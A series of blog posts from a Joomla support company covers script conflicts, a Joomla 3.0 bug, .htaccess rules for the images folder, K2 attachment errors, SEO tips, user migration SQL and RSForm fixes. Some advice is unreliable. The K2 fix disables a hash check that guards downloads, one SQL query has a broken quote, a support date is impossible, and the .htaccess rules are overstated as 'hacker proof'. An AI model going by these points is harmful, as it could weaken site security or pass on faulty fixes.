The MooTools library is loaded in the file behavior.php which is located in the libraries/joomla/html/html directory under your Joomla 2.5 website. It is possible to change the default MooTools library there (line 60 and 61 of that file), but we advise not to do this (unless you really know what you’re doing) because most likely you will run int compatibility issues with newer Joomla extensions that use features of the default MooTools library. Not to mention that we think it’s always a bad idea to change a core file (and behavior.php is a core file).

If you are having conflicts on one (or several) of your pages on your Joomla website between different JavaScript libraries, then try to fix that by using our method above (it applies to all JS files, not just those related to MooTools), and if you need help, rest assured that you can always rely on us. We’re fast, our services are well priced, and we know Joomla inside out! All you need to do is to contact us!

Why We Recommend Against Using Joomla 3.0

A new customer approached us this evening with a problem that is very common on old Joomla versions, the annoying 404 error on the homepage. We thought, that’s odd, this is a very old problem, does it still exist on Joomla 3.0? It wasn’t surprising but it was just…odd!

The first thing that we did was to go the menu item manager and ensure that there is a home menu item (e.g. a menu item that is set to be the homepage). We then thought: maybe the article that it links to doesn’t exist anymore, so we re-chose the same article (it did exist).

We then checked the parent category of the article, it was published and it existed (you will see a 404 problem if the category that the article belongs to is unpublished). What could’ve been wrong?

Needless to say, we spent hours beating around the (wrong) bushes, mainly debugging the article.php file (which is located under the /component/com_content/models directory) because it’s responsible for displaying the article, and because it was throwing the “404 not found” error in line 152:

return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));

The above error was thrown mainly if the article didn’t exist, or if it was unpublished – but we were sure that the article existed and that it was published because we were able to re-select it in the menu item for the homepage. So, we continued searching elsewhere. But after nearly 4 hours, we took a look at the website’s article manager in the backend, and we were surprised to see that that article was actually unpublished! How could that be? We were able to select the article in the menu item (which logically meant that it was published). So we published the article and the site worked!

We then, just out of curiosity (and for a quick second – the website wasn’t live yet anyway), unpublished the article again. We then went to the menu item manager, created a new menu item of type Single Article, and (surprise surprise), we were able to choose that unpublished article!

What does that mean? It means that Joomla 3.0 has a huge bug which has some catastrophic consequences on the stability of the website (by the way our customer was using a Joomla 3.0 version that was released just two weeks ago) – and something tells us that it’s not the only bug, and that’s why we don’t recommend using it at all. We’d say wait at least until 2014 when there’s actually a bridge between Joomla 2.5 to Joomla 3.5 to migrate easily. Joomla 3.0 should not be labeled as a production CMS, we think it’s still in early beta.

If you are using Joomla 3.0 and you’re having problems with it, then we can definitely help you! All you need to do is to contact us and tell us about the problem and we’ll do the rest. Oh, and you don’t need to worry about our fees, they are very competitive!

Beware the Images Folder in Joomla

The images directory is considered to be a harmless directory – after all, what can it contain other than images and other downloadable content? In our experience, the images directory is not as innocent as it seems, in fact, it is, in our opinion, one of the most dangerous directories that can wreak havoc on your website. And no, we’re not crazy (yet). Let us explain…

The media manager in Joomla usually allows the administrator to upload image files (as well as other harmless files) to the images directory. The media manager does not allow the upload of potentially harmful file types, such as PHP scripts. However, hackers have discovered many loopholes in Joomla 1.5.26 and less to allow them to upload PHP files to the images directory. The images folder has become the hackers’ favorite directory to store their (malicious) PHP files (such files are sometimes called index.php, joomla.php, main.php, script.php, etc…)

You might think that uploading a PHP file is not that harmful, but a PHP file can do the following when run from a browser:

  • Delete files (that Apache has permissions on) or nuke whole directories.
  • Change permissions on files directly owned or group owned by Apache.

  • Alter files and inject some malicious code into them.

  • Send spam. (in other words, your website will be a launchpad for spamming).

  • Spy on your website and on your visitors.

  • The list is endless.

So, what can someone do to ensure that the images directory does not pose a threat to his website?

There are several ways that are used to address this problem:

  • Using an .htaccess whitelist: An .htaccess whitelist consists of specifying which filetypes can be uploaded to the website in the .htaccess file. It can be done by adding the following code to the .htaccess file:

    <FilesMatch "\.(jpeg|pdf)$">
    Allow from all
    </FilesMatch>

    The above code means that only files that have a jpeg or a pdf extension are allowed to be uploaded to the website.

  • Using an .htaccess blacklist: An .htaccess blacklist consists of specifying which filetypes are not allowed to be uploaded to the website (it is the inverse of a whiltelist). Any filetype that exists in the blacklist will be rejected for upload. An example of an .htaccess blacklist is the following:

    <FilesMatch "\.(asp|php|php5|pl)$">
    Deny from all
    </FilesMatch>

    The above code means that files that have an asp, a php, a php5, or a pl (pl is Perl, for those who are curious) are not allowed to be uploaded.

  • Create a cron job that will automatically delete scripts from the images directory: In this situation, you’re accepting the fact that your website is vulnerable and you’re reacting to it. We have to admit though that we have seen this implemented successfully but in conjunction with other techniques.

So, which method should the Joomla administrator go with? We think that whitelisting filetypes in the .htaccess file is the best method, and this is because you will have full control over which file types will be uploaded to your server. If you go with a blacklist, you might miss some potentially harmful filetypes. The cron job technique is not that great because you’re really responding to the attacks – as opposed to protecting your website against them.

Now, before you go ahead and add that whitelisting code and assume that everything’s going to be OK from now on, keep in mind that if your website has loopholes elsewhere, then a hacker can simply modify your .htaccess file and easily remove the whitelisting code.

So, here’s what you should do:

  • chown and chgrp all your files to root/root.
  • chmod all your files recursively to 444.

  • chmod all your directories recursively to 755.

  • Allow Apache to write to the following directories: cache, images, logs, and tmp.

We have described these steps here.

After doing the above steps, then you should go with the whitelist technique. Once you do that, the security on your website will be literally hacker proof!

If you have security issues on your website and you need them addressed, then please contact us. We are experts in Joomla and Joomla’s security, we are eager to help, and our fees are very affordable!

404 Error When Trying to Download a K2 Attachment

We got a call this afternoon from a very large company that outsource development work on its Joomla website to us. Everything works fine on their website, except for K2 attachments: a 404 error is display when someone clicks on any link to a K2 attachment.

A quick research on the topic blamed one or all of the following:

  • Joomla’s SEF
  • sh404
  • Cache

As tempting as it is to blame any of the above (especially Joomla’s SEF, which is the root of nearly half of the problems on Joomla), we couldn’t find how they were related to the problem. First, the website wasn’t using SEF and didn’t even have sh404 installed. Second, we disabled caching and cleared the cache as well, but still the problem was still there!

Unfortunately, all the solutions that we found in our research did not work for us (although some people claimed to have successfully implemented these solutions), and so we did our own debugging of the problem, and we discovered that the issue really lied in the file called item.php which is located under the /administrator/components/com_k2/models directory. The problem lied specifically in the following piece of code (line 933 to line 941 of the aforementioned file):

if ($mainframe->isSite())
{
    $token = JRequest::getVar('id');
    $check = JString::substr($token, JString::strpos($token, '_') + 1);
    if ($check != JUtility::getHash($id))
    {
        JError::raiseError(404, JText::_('K2_NOT_FOUND'));
    }
}

If you’re a programmer, you will understand that the above code expects a specific hash in the URL (based on the ID of the attachment). If that hash doesn’t exist, or is not as expected, then Joomla is instructed to throw a 404 error page. We think that this is highly misleading, especially because the K2_NOT_FOUND error does not state that the hash is incorrect or does not exist – it just displays a standard “404 – Not found” error.

So, how can the problem be fixed easily?

To easily fix the problem, all that one needs to do is to comment the above code (by adding “/*” at the beginning of the code and “*/” at its end) in the file item.php and upload it back to the /administrator/components/com_k2/models directory. So the code will be:

/* if ($mainframe->isSite())
{
    $token = JRequest::getVar('id');
    $check = JString::substr($token, JString::strpos($token, '_') + 1);
    if ($check != JUtility::getHash($id))
    {
        JError::raiseError(404, JText::_('K2_NOT_FOUND'));
    }
} */

This will fix the problem in a split second!

But, is there another way to fix the problem without modifying K2’s core?

Yes – there is. All that you need to do is to add the hash in the generated URL. So, if your generated URL is like this:

http://www.yourjoomlawebsite/index.php?option=com_k2&view=item&task=download&id=[id]

Then you should change it to the following:

http://www.yourjoomlawebsite/index.php?option=com_k2&view=item&task=download&id=[id]_[hash] (notice the presence of the underscore)

Where [hash] is the return value of the function JUtility::getHash() when [id] is passed as a parameter. (note that your URL should not contain the brackets, the brakcets are there just to highlight these variables)

Why did we mention the core hack first?

Usually, we recommend against modifying the core – but in this situation, we think that modifying the core is the lesser of two evils, because we believe that K2’s core is wrong. Why? Well, K2 now requests the presence of a hash in the URL (it’s not even an option not to include it), which creates several problems, especially SEF problems, and, in all fairness, the hash has no reason to be there in the first place. Additionally, if you have that download link in several places, then fixing it can be annoying, tedious, and, of course, error prone!

But what if you need help fixing this problem?

If you’re facing the same problem (where K2 attachments are returning a 404 error) then fear not – we’re just either an email or a phone call away! Just contact us and we’ll fix the problem for you as soon as possible. Our fees are affordable, our work is professional, and our we’re very, very fast!

Is Joomla 1.5 Still Supported?

We get many calls nowadays where clients ask us whether Joomla 1.5 is still supported or not. We answer that Joomla 1.5 is no longer officially supported – in fact, the official support for Joomla 1.5, including LTS (LTS stands for Long Term Support) ceased back in September of 2012. STS (Standard Term Support) ceased 5 months earlier (back in April of 2005). In short – the Joomla development team will no longer write a single line of code to fix anything on Joomla 1.5. This means that the latest version is Joomla 1.5.26, and that past that point the Joomla administrator has to migrate the website to Joomla 2.5 (or higher).

Unfortunately, and as we already explained, Joomla 1.5.26 is no longer secure, and new exploits are being discovered periodically. We are nowadays getting 3-4 calls a day about hacked Joomla 1.5 websites (most of these websites are already upgraded to Joomla 1.5.26). The hacks vary from an .htaccess file that keeps being rewritten every 30 minutes or so (and redirecting to malicious websites), to the googlebot Joomla hack that displays different (obscene) content for Google’s indexing bot (which means that the site’s actual content will not be indexed – but rather the obscene content). Oh and lately, we are seeing new hacks on Joomla 1.5 websites where every single PHP file is injected with malicious code. And just today, we fixed a Joomla 1.5.26 website where all the JavaScript files where hacked. The types of hacks that we are seeing (especially on the 1.5.26 version of Joomla) is growing by the week!

But, all is not that dark and there’s always a silver lining! Joomla 1.5 is still unofficially supported by 3rd party companies such as itoctopus. In fact, at itoctopus, we intend to support Joomla 1.5 (even Joomla 1.0) websites for many years to come (many of our clients are still using Joomla 1.5). We joke sometimes and say that we will cease supporting Joomla 1.5 when there are no longer Joomla 1.5 websites on the Internet – which may or may not happen in a decade from now! You might think that a decade is a long time in our business – but trust us – it isn’t; we are still getting customers who are still running Mambo! (Mambo is Joomla’s predecessor, for those who don’t know).

So, if you need help on your Joomla 1.5 website (whatever its size) – any help – then rest assured that there’s still this Montreal company called itoctopus that still supports Joomla 1.5 and that will always be there for you! Just contact us and we’ll prove to you how reliable, friendly, knowledgeable, and professional (yet still affordable) we are!

21 Reasons Why Your Joomla Website Doesn’t Get Traffic

One of the common questions we get from our customers is: “Why is it that my Joomla website doesn’t get the traffic that it deserves?”

We take a look at their websites and then we answer their question. After a while, we discovered that the reasons why a Joomla website doesn’t get the traffic it deserves are very much generic, and so we decided to write this post that will list the 21 top reasons on why a Joomla website doesn’t get traffic. So, without further delay, here are the reasons (in order of no importance):

  1. Your website is using an old version of Joomla: We have noticed that the older the version of Joomla a website is using, the less traffic this website will get. The logic behind this is that Google most likely thinks that a website that is not kept up-to-date all the time is not a serious website and thus reduces the rankings of that website for its competitive keywords in its search engine listings.

    Remedy: Always update your Joomla website to the latest version. We know that it can be hard, but the benefits far outweigh the work, the time, and the money spent on doing the update.

  2. Your Joomla website keeps on getting hacked: Website hacks are common nowadays and Google expects that any website, regardless of its importance, will get hacked at one point. Google will not penalize your website if it’s hacked once in a blue moon. But, if your Joomla website is repeatedly hacked, or if it’s left with a virus for an extended period of time, then Google will ultimately delist it entirely!

    Remedy: Upgrade/migrate to the latest version of Joomla and contact some Joomla security experts to help you secure your website.

  3. Your Joomla website doesn’t have SEF enabled: SEF ensures that your links are readable and memorizable by humans, and consequently by robots! Not enabling SEF will mean that your URLs will be very technical and will not contain any keywords relevant to your article/post (except for those keywords present in your domain name, if any). Enabling SEF is a must if you are serious about getting traffic to your website.

    Remedy: You need to enable SEF on your Joomla website. Enabling SEF is easy but can be a bit tricky because it consists of 3 steps:

    1. Enabling SEF from your configuration page,
    2. Enabling the System – SEF plugin and,
    3. Renaming the htaccess.txt file (located under the root directory of your website) to .htaccess.

  4. Your Joomla website is slow: Slow websites are not search engine favorites mostly because they have a higher than average bounce rate and because search engines often fail at indexing some of their pages. A Joomla website might be slow for several reasons, the most important one is not using caching. Caching is a necessary evil – it might cause problems and conflicts with certain extensions, but it must be enabled or else your website will be so slow that search engines (especially Google) will wonder whether it’s worthy and beneficial for their users to send traffic your way. We have seen this frequently with our customers: Those with caching enabled receive considerably more traffic than those with caching disabled.

    Remedy: 1) Enable caching. Caching is enabled in the configuration page and by enabling the System – cache plugin (enabling the latter will enable page level caching, which is the most important form of caching in Joomla). If you’re using Joomla 2.5, go with conservative caching and not with progressive caching. 2) Go with a reliable (albeit a bit more expensive) hosting – never go with cheap hosting companies that cram hundreds (if not thousands) of websites on one box.

  5. Your Joomla website doesn’t have a global meta description and keywords: If we had a dime for every Joomla website we’ve seen without meta description and keywords on the homepage then we’d be ultra-rich by now. We find this odd – because doing this will have a dramatic (positive) effect on the search engine rankings of any website, and it takes literally minutes to do. Oddly enough, there are many websites that have all the other areas optimized, with the exception of this very critical area.

    Remedy: Add are a relevant description and keywords to your Joomla website on your configuration page.

  6. Individual pages on your Joomla website don’t have a meta description and keywords: Search engines first check the meta description of your website’s pages to rank them for specific keywords. If your website’s pages don’t have any descriptions, then search engines will treat some of the content on these pages as descriptions or assume that the global description of your website is the same as that for those individual pages. While meta descriptions and keywords are not that important as before, it is still a good practice to add them.

    Remedy: Add meta descriptions and keywords to your articles (especially the important ones) under the “Metadata Options” (on the right of the edit page of any article). Now while there are tools that can do this for you automatically, it is better to do it manually because you’ll be more meticulous in choosing the content for these two fields.

  7. Pages on your Joomla website don’t have a browser page title: Imagine going to a website called thebestcoriander.com. Seeing thebestcoriander.com in the browser title for the homepage is acceptable – but seeing it on every other page is not acceptable and will harm your search engine rankings.

    Remedy: Choose a specific browser page title for every page. You can set the browser page title in the field that is (surprisingly) called “Browser Page Title” under the “Page Display Options” in the menu item for that page. Always ensure that the page title is relevant to the content of your article.

  8. You Joomla website has a lot of 404 pages: Having a few 404 pages on your website is the norm and not that harmful. But having hundreds or thousands of them means one of three things:

    1. You’re trying to game search engines.
    2. You have migrated to a newer version of Joomla but you didn’t maintain the previous link structure.
    3. Your website is very old and you have a lot of stall links.

    Any of the items above (especially the first one) can have some serious consequences on your search engine rankings and ultimately your traffic.

    Remedy: 1) Don’t game the search engines ever! They will find out automatically (that’s their job) or someone will report you! 2) Always check that your previous links that are cached in the search engine results still work. If your previous link structure cannot be maintained, then have a Joomla expert develop a System plugin that will do a 301 redirect from old links to their equivalent links in the new website. (we can do this for you, just contact us!) 3) Have a dedicated resource constantly check your Google Webmaster tools and fix all those stall links.

  9. Your website’s link structure is not stable and/or not consistent: Let’s say that you have a Contact Us menu item under an About Us menu item. So, the link to your contact us page would be the following: http://yourjoomlawebsite.com/about-us/contact-us.html. All of a sudden, you decide to move the Contact Us menu item to be at the same level of your About Us menu item, and so the link to your Contact Us page will be http://yourjoomlawebsite.com/contact-us.html. Of course, if you do this for just one article once ever year then it’s not a problem, but if you do it constantly, then you will lose rankings of the affected pages.

    Remedy: Plan your site structure very carefully before even starting the website. If you want to make some massive changes to your link structure, then do them all at once and then ensure that you have 301 redirects from the old pages to the new pages. Stability and consistency are key to maintaining a good search engine standing.

  10. Your Joomla website doesn’t have 301 redirects to redirect identical pages to the same place: Google is a bit finicky about pages with duplicate content. Pages with duplicate content tend to dilute each other’s importance if there are no 301 redirects that ensure that the importance of pages with identical content is delegated to one single page.

    Remedy: Use the “Redirect” component (which can be found in the backend of your Joomla website under Components) to create 301 redirects to pages with identical content.

  11. You’re not using URL canonicalization: URL canonicalization is another way to deal with duplicate content on your website. It tells search engines what the mother page of a page is which ensures that search engines will only index the mother page. Not using URL canonicalization will dilute the importance of your pages in the search engine’s results.

    Remedy: Implement URL canonicalization. There are many ways to do this, either customizing some 3rd party tools (such as “sh404”) or developing your own, intelligent solution to URL Canonicalization in Joomla.

  12. Your Joomla website doesn’t have a sitemap: Sitemaps, believe it or not, are still read and used by search engines to discover pages that are not linked or are deeply linked from your Joomla website (or from any other website for that matter). Admittedly, the importance of sitemaps is dwindling every day, but it’s still a good practice to have them, especially to drive traffic from search engines other than Google (such as Yahoo and Bing, which both use the same infrastructure).

    Remedy: Use the built-in extension in Joomla 1.5 or a 3rd party extension in Joomla 2.5 to develop sitemaps to your website. Note that it’s not worth it to develop a sitemap if your website has only a few pages or if all your pages have a maximum depth of 2 (in other words, any page can be discovered by just clicking on two links on your website).

  13. Your Joomla website is not using nofollow on non-important links: The more dofollow links (default types of links) you have on a particular page on your Joomla website, the less authority the linked pages will gain from these links. Think about a page’s importance as a whole pizza, if you have only one link on that page then that link will get the whole pizza. If you have two links then each of them will get half the pizza, if you have 3 links… (well, you get the point). But, there are some links that don’t deserve to gain any importance, such links include links to your Contact Us page, links to 3rd party websites, links to social websites, links to temporary contests, etc… So, to ensure that these links don’t eat anything from that pizza, all you need to do is to add a nofollow value to the rel attribute to the anchor tag of these links! This way, your other links will be stronger and will have a bigger piece of the pizza!

    Remedy: Add “nofollow” to links pointing to non-important pages, 3rd party websites, social websites, etc… You can easily do this in any Joomla editor.

  14. Your Joomla website indexes non-important content: Sometimes, some of your content steals traffic from your other, much more important content. Let’s say, for example, you have a page named Our Best Coriander – Test and it appears before your page Our Best Coriander in the search results for Best Coriander. This page is literally stealing traffic because it is getting traffic that should’ve gone somewhere else on your website (to the non-test page).

    Remedy: Always add the “noindex” directive in your robots.txt file for pages/directories that you do not wish to have their content indexed. You can also specify a “noindex” directive at the page level in Joomla by choosing “No-index, no-follow” as a value for the “Robots” field under “Metadata Options.”

  15. The HTML on your Joomla website is not valid: It is a fact that valid HTML/XHTML increases the search engine’s confidence in your website and, consequently, its search engine rankings. Invalid HTML has a slight negative impact on the search engine rankings of your website.

    Remedy: Use W3C’s online tool to check if your site’s HTML is valid or not. If it’s not (which is usually the case), then hire a designer or a Joomla developer to fix the HTML.

  16. Some of your pages on your Joomla website have errors: Pages with fatal errors usually just display the error (the actual content will not appear). Pages with warnings and/or notices will most likely break the design and affect the functionality of the website. Unfortunately, search engines are not that smart when it comes to handling errors, so they index, for example, pages with fatal errors (which makes those pages irrelevant to your visitors). Additionally, visitors who see a warning or a notice on your website may miss some of the features that your website has and will most likely label your website as unprofessional and never visit it again. This will increase your bounce rate and will ultimately reduce your traffic.

    Remedy: Have quarterly reviews to check your website for errors. Do not treat errors/warning/notices lightly because they are never good news and they can seriously harm your search engine standing. Always hire a professional to fix the errors. (do not try to fix the errors yourself)

In the first 16 points, we have discussed the technical reasons that may lead to poor traffic on your Joomla website. In the next 5 points, we will discuss the non-technical reasons. (keep in mind that non-technical reasons may have more impact than technical reasons):

  1. Your website has little, if any, original content: Original content is the main factor that drives traffic to any website. Without it, the website is considered to be shallow and redundant. Search engines do not care about indexing/promoting websites that have all or most of their contents copied from other websites.

    Remedy: Ensure that your website has no content/negligible content that is copied from other websites (also ensure that you get permission to copy that content from these other websites, because if they report your website then you might see it suddenly de-indexed or penalized). Ensure that all of your pages (or the absolute majority of your pages) have your original content – and if you must copy content from other websites, then make sure that you reference the pages on these other websites where the copied content is located. (also make sure you get the permission to do so)

  2. Most of the content on your website is not helpful: It’s not about quantity, it’s about quality – always! Hiring someone to write nonsense content to enhance the rankings of your website is a poor way to promote your website (and may dilute the value of the pages with helpful content on your website).

    Remedy: Ensure that all the content on your website is helpful to your users and that it is well written (e.g. correct grammar, no spelling mistakes, correct use of punctuation, etc…).

  3. Your Joomla website is seldom updated: When you build a website, any website, you will need to nurture it. Nurturing your website means that you ensure it is always up-to-date and that it always has new content posted. Unnurtured websites will slowly lose traffic from search engines until their traffic becomes negligible.

    Remedy: Update your website frequently. Have a blog on your website where you write about the technical challenges that you face in your workday and how you resolve them. Engage your visitors by allowing them to post comments on your articles/posts. Remove outdated content that serves no purpose (such as expired offers/expired contents/etc…).

  4. Your website has too much advertisement and little content: Advertisement is a good way to generate money, but overdoing it will reduce your profits, annoy your visitors, and affects your search engine rankings because of high bounces. If you are first seeing ads instead of seeing content when you’re visiting any of your pages, then most likely you are overdoing it!

    Remedy: Never use popups or interstitial ads on your Joomla website. People hate them and they increase bounces (search engines do notice bounces and will re-calculate the importance of your website accordingly – high bounces are inversely proportional to traffic). Keep your ads organized and avoid having too much ad zones.

  5. Your Joomla website has a poor design: You might think “How can a poor design have a negative effect on traffic?” Well, a poor design will increase bounces, and the higher the bounce rate your website has, the further down your website will appear in search engine results. A poor design has a terrible effect on the rankings of a website, regardless of its content.

    Remedy: Do not design your Joomla website yourself if you’re not a designer. Hire someone to do this for you. Use as little images as needed and substitute images for text when possible. Use soft and easy-on-the-eyes colors that complement each other. (check the Adobe Kuler tool to find beautiful and harmonious color schemes)

If you’re reading this post and you’re wondering who’s going to help you accomplish the technical steps, then fear not – we can! Just contact us and we’ll ensure that your website is technically sound from a search engine perspective in no time and for a small cost. Always keep in mind though, that even if your website is technically fully optimized for search engines, it won’t get any visitors if it doesn’t have any content – and this where your work begins!

How to Fix the “Assigning the return value of new by reference is deprecated” Notice in Joomla

One of our clients was having a blank page when he was logging in to the backend of his Joomla website and so he turned to us for help.

We enabled error reporting and we saw the following two errors:

Deprecated: Assigning the return value of new by reference is deprecated in /libraries/openid/Auth/OpenID/Consumer.php on line 274
Deprecated: Assigning the return value of new by reference is deprecated in /libraries/openid/Auth/OpenID/Consumer.php on line 276

Obviously, lines 274 and 276 had an & (an ampersand) that needed to be removed, and so we opened the Consumer.php file and changed the following function:

    function Auth_OpenID_Consumer(&$store, $session = null, $consumer_cls = null) {
        if ($session === null) {
            $session = new Auth_Yadis_PHPSession();
        }

        $this->session =& $session;

        if ($consumer_cls !== null) {
            $this->consumer =& new $consumer_cls($store);
        } else {
            $this->consumer =& new Auth_OpenID_GenericConsumer($store);
        }
        $this->_token_key = $this->session_key_prefix . $this->_token_suffix;
    }

to this:

    function Auth_OpenID_Consumer(&$store, $session = null, $consumer_cls = null) {
        if ($session === null) {
            $session = new Auth_Yadis_PHPSession();
        }

        $this->session =& $session;

        if ($consumer_cls !== null) {
            $this->consumer = new $consumer_cls($store);
        } else {
            $this->consumer = new Auth_OpenID_GenericConsumer($store);
        }
        $this->_token_key = $this->session_key_prefix . $this->_token_suffix;
    }

(Notice that we removed the ampersands that were highlighted in red in the original function.)

After fixing the function, we uploaded the Consumer.php file but we we saw yet another error: Joomla was complaining that it wasn’t able to load the authentication libraries. After some investigation, we discovered that the reason for this is that the default Joomla authentication plugin was disabled – and so we enabled it and that fixed the problem!

Now here’s a quick but very valuable piece of information – if you are seeing an error (when logging in to Joomla’s backend) that is related to OpenID or LDAP and you know that you’re not using either of them and you are using Joomla 1.5, then here’s what you need to do:

  • Go to phpMyAdmin and select the database that contains the data of your Joomla website.
  • Run the following query:

    UPDATE jos_plugins SET `access` = 1, `ordering`=1, `published`=1 WHERE `id` = 1;

  • The above query will enable the default authentication for Joomla (which is usually what the Joomla administrator wants). Now we need to disable the rest of the authentication plugins by running the following query:

    UPDATE jos_plugins SET `published`=0 WHERE `name` LIKE `Authentication%' AND `id` != 1;

    Running the above query will ensure 2 things:

    1. There won’t be other authentication plugins that will take priority over Joomla’s default authentication.
    2. Joomla will not wait for other authentication plugins (that may connect to 3rd party servers) to run if the provided credentials are incorrect.

If you’re having problems with logging in to your Joomla’s backend and if the above did not work for you then you can always contact us. Our prices are affordable, our work is super fast, our quality is professional, and we are very friendly to work with.

How to Migrate Users from Joomla 1.5 to Joomla 2.5

Some websites don’t have that much content – but they do have a lot of users. Such websites include charity websites, political websites, and some subscription websites. For these websites, it makes more sense to re-create the website from scratch in Joomla 2.5 (instead of migrating from Joomla 1.5 to Joomla 2.5 – which can be a costly and a length process) and then re-create the content on the new website.

Since the content is usually scarce, then re-creating the website is not usually a problem. However, re-creating its users can be a problem when there are many, so these users should be automatically migrated.

There are two ways to migrate users from Joomla 1.5 to Joomla 2.5:

  1. The easy and error prone way
  2. The advanced and efficient way

The easy way consists of installing an extension called userport (try googling “userport joomla”) on the old (Joomla 1.5) website and the new (Joomla 2.5) website. This extension will allow you to export your users from your old website to a CSV file and then import them in the new website.

Although this seems to be like an easy task – it’s usually not a smooth experience, here’s why:

  • CSV files are not a good way for exporting and importing sensitive data – this is because the data’s integrity can be affected when it contains the CSV separator (which can be a comma, a semi column, or a tab). It is very rare not to have this problem especially if the number of users being imported is large.
  • The ids of the users in the old database will not be preserved – they will be lost during the import process. This means that associations with other areas may be broken post-migration.

  • If two users have the same name, then the import will fail, generating the following the message: “Failed to update contact: COM_CONTACT_WARNING_SAME_NAME” Error on Joomla

The userport extension does work from time to time, but from our experience, it is better not to use it and follow the hard way to migrate your users to Joomla 2.5.

So, how do you migrate users the hard (and more efficient and less error prone) way?

The hard way consists of migrating users using phpMyAdmin. Since we have done this many times already, we have written a guide that can help anyone with some technical experience to do this migration himself. We have decided to share this guide on the itoctopus website:

  1. Export the users from the old jos_users table

    The export of the users should be done the following way:

    1. Run the following query in the SQL tab in phpMyAdmin:

      SELECT `id`,`name`,`username`,`email`,`password`,`block`,`params` FROM `jos_users` WHERE 1 AND id != 62;

      The above query will get all the users’ information from the old table (we excluded the user with the id 62 because it’s the default super administrator on Joomla 1.5 and we already have a super administrator on Joomla 2.5).

    2. Once the query is run, you will see an “Export” button at the bottom of the page under Query results operations – click that button (please note that there’s another “Export” button just below the query results which shouldn’t be used because it doesn’t export the results of the current query).

    3. You will now see a page titled “Exporting rows from “jos_users” table”. Choose “Custom – display all possible options”, and then scroll down and choose “View output as text”, and then uncheck “CREATE TABLE options” and finally click on “Go” at the bottom of the page.

    4. You now have a query that inserts all the users but it’s still pointing to the old jos_ table. Copy and paste that query in a text editor and replace jos_ with the table alias of your new Joomla website. You need to do a replace all as there might be several instances of jos_ in that query.

    5. You are now ready to import the users!

  2. Import the users into your new Joomla table

    Now that you have prepared the data in the steps above, all you need to do to import the data is the following:

    1. Paste the query generated above in the SQL tab in phpMyAdmin and run it. This query will import the users, but we will need to add those users to a group – usually group 2. (If you care about which group each user belonged to then contact us and we’ll help you do it as we have not covered this scenario here).
    2. To add all the exported users to group “2”, follow the below steps:

      1. Run the following query in the SQL tab:

        Select `id`, 2 FROM `jos_users` WHERE 1

      2. Export the results of that query using the method described above for exporting users. (e.g. press on the “Export” button below and then choose “Custom”, click on “View Output as Text”, uncheck “CREATE TABLE”, and click on “Go”)

      3. Copy the generated query from the above step into a text editor and change the following line:

        INSERT INTO `jos_users` (`id`, `2`) VALUES

        to this one:

        INSERT INTO `[table_prefix]_user_usergroup_map` (`user_id`, `group_id`) VALUES

        [table_prefix] should be replaced with the prefix of your tables for the new Joomla website.

      4. Now copy the modified query to the SQL tab in phpMyAdmin and run it.

      5. You have finished the user migration! (Congratulations!)

Clearly the advanced way may take some more time especially if your technical experience is not that strong – but if you do have a solid technical experience, then it should only take a little of your time!

Some caveats:

  • User migration using the userport extension will not keep the original ids of the users – which means that all the content (such as articles) associated with one user might be associated with another after the user migration (in the new website).
  • User migration using the phpMyAdmin method will maintain id association with the exception of the id of the super administrator.

  • Since ids are unique make sure you filter the query to insert users for any ids that already exist in the new table prior to running it – otherwise the query will crash during execution – and not all users will be imported.

Migrating users from Joomla 1.5 to Joomla 2.5 is easier than you might think – but we do understand if you don’t want to indulge yourself in the land of not-so-solid extensions and phpMyAdmin, and that’s why we’re here to help! All you need to do is to contact us and we’ll promise you that we’ll get your users exported and imported in no time and with little cost! We’re very reliable, we love our clients, and our clients love us!

“Form Component Not Available” Error in RSForm

We are currently migrating many Joomla websites to version 2.5 – in fact, migrations are taking the bulk of our time nowadays! Naturally, we are facing issues during these migrations, and one of the issues that we have faced today was in the RSForm extension; we easily migrated all the forms but we just couldn’t get the PayPal RSForm plugin to work!

We uninstalled and reinstalled RSForm (the component and the plugin) as well as the PayPal plugin several times to no avail. The problem was that for any PayPal component (in the form components when viewing the form in edit mode) the message “Form Component Not Available” was displayed. Additionally, when we clicked on the “Single Product”, the “Multiple Products”, or the “Total” components (under PayPal) we were seeing an empty (and gray) General tab, instead of seeing something like the below:

The PayPal Multiple Products component in RSForm

Figure 1: The PayPal “Multiple Products” component in RSForm in action!

Of course, things were not better on the frontend of the website, because any RSForm that had PayPal components did not work (totals were not being added, currencies did not display, and, last but not least, forms were not submitting).

After a lot of debugging, we discovered the reason behind this problem, we had to copy the tables jos_rsform_component_types and jos_rsform_component_type_fields to the corresponding tables for the Joomla 2.5 website (in our case it was the vier3_rsform_component_types and vier3_rsform_component_type_fields tables). Doing so was necessary because these tables hold all the necessary information to display the PayPal components.

But, shouldn’t there a better and easier way to do so?

Well, there should have been – but for mysterious reasons neither the RSForm installer nor the RSFPPayPal plugin automatically inserted these values in the database – at least for the version that we have.

So – doing the above fixed the problem – but we ran into another major issue: The settings for PayPal in RSForm were not saved. Everytime we went to the PayPal tab under the Configuration page in RSForm and tried to save any setting (for example, the PayPal Email Account) it wasn’t working. After some thorough investigation, we discovered that the root of the problem lied in RSForm trying to update some rows in the vier3_rsform_config with our values – but these rows didn’t exist. The rows that RSForm tried to update had a SettingName such as paypal.email, paypal.currency, paypal.thousand, etc… Those rows should’ve been created by the RSForm installer or the plugin, but (again) they were not! So what we did was that we created these rows manually. In case you want to do the same, then here is the SettingName of each one of these rows:

  • paypal.email
  • paypal.test
  • paypal.currency
  • paypal.thousands
  • paypal.decimal
  • paypal.nodecimals
  • paypal.return
  • paypal.cancel
  • paypal.language
  • paypal.tax.type
  • paypal.tax.value

We still think that RSForm is a solid component – although this was the second time we were disappointed with this product – we hope it’s the last time!

If you’re having problems with your RSForm (Pro) extension (or if you need to do some customizations on this extension), then we’re here to help! All you need to do is to give us a call or shoot us an email, and you’ll see how we’ll solve the problem for you in no time. Our rates are very affordable, our reputation is stellar, our work is fast and professional, and we really care about your business! Try us!

Why It’s Important to Use SEF in Joomla

We are currently migrating a large Joomla website with many pages to Joomla 2.5. Nearly every page has (unoptimized) links to other pages that look like the following:

index.php?option=com_content&view=article&id=[n]&Itemid=[m]

Although the link above is not that pretty, it’s valid and it works. However, it only works before migrating the website (it will stop working after the migration) for the simple reason that article ids change during the migration (it’s really hard and inconvenient to have the same article ids during the migration).

The problem can be solved by creating a script that does the following:

  • Parse all articles for internal links using regular expressions.
  • Extract the article id of each link.

  • Check the alias (or the title) of the article id in the old jos_content table.

  • Get the id of that article in the new jos_content table based on the alias (or the title).

  • Replace the old id with the new id in each article.

